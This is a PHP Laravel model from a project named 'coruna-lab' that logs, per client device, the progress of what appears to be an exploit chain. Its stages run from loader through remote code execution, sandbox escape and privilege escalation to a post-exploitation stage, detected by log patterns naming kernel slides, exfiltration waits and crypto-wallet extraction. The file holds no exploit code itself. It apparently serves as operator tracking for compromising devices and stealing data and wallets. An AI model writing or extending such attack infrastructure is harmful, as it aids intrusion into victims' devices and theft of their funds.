Files
coruna-lab/app/Models/DsChainLog.php
T
2026-09-12 03:42:48 +08:00

125 lines
4.3 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class DsChainLog extends Model
{
public $timestamps = false;
/** @var array<string, array{progress: int, title: string}> */
public const STAGES = [
'boot' => ['progress' => 8, 'title' => '启动'],
'loader' => ['progress' => 18, 'title' => '加载器'],
'worker' => ['progress' => 42, 'title' => 'RCE'],
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
'pe' => ['progress' => 86, 'title' => '权限提升'],
'post' => ['progress' => 100, 'title' => '取证完成'],
];
protected $fillable = [
'client_uid',
'channel_id',
'stage',
'progress',
'label',
'created_at',
];
protected function casts(): array
{
return [
'progress' => 'integer',
'created_at' => 'datetime',
];
}
public static function stageTitle(string $stage): string
{
return self::STAGES[$stage]['title'] ?? $stage;
}
/**
* @return array{stage: string, progress: int, label: string}|null
*/
public static function inferFromText(?string $text): ?array
{
$msg = trim((string) $text);
if ($msg === '') {
return null;
}
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
}
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
}
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
}
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
}
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
}
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
}
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
}
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
}
return null;
}
public static function record(
string $clientUid,
string $stage,
int $progress = 0,
?string $label = null,
?string $channelId = null,
): ?self {
$clientUid = Device::normalizeDarkswordKey($clientUid) ?? '';
$stage = strtolower(trim($stage));
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
return null;
}
$meta = self::STAGES[$stage];
if ($progress <= 0) {
$progress = $meta['progress'];
}
$progress = max(0, min(100, $progress));
$label = trim((string) ($label ?? ''));
if ($label === '') {
$label = $stage;
}
$label = substr($label, 0, 255);
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
if ($last
&& $last->stage === $stage
&& (int) $last->progress === $progress
&& (string) $last->label === $label) {
return $last;
}
return self::query()->create([
'client_uid' => substr($clientUid, 0, 64),
'channel_id' => $channelId,
'stage' => $stage,
'progress' => $progress,
'label' => $label,
'created_at' => now(),
]);
}
}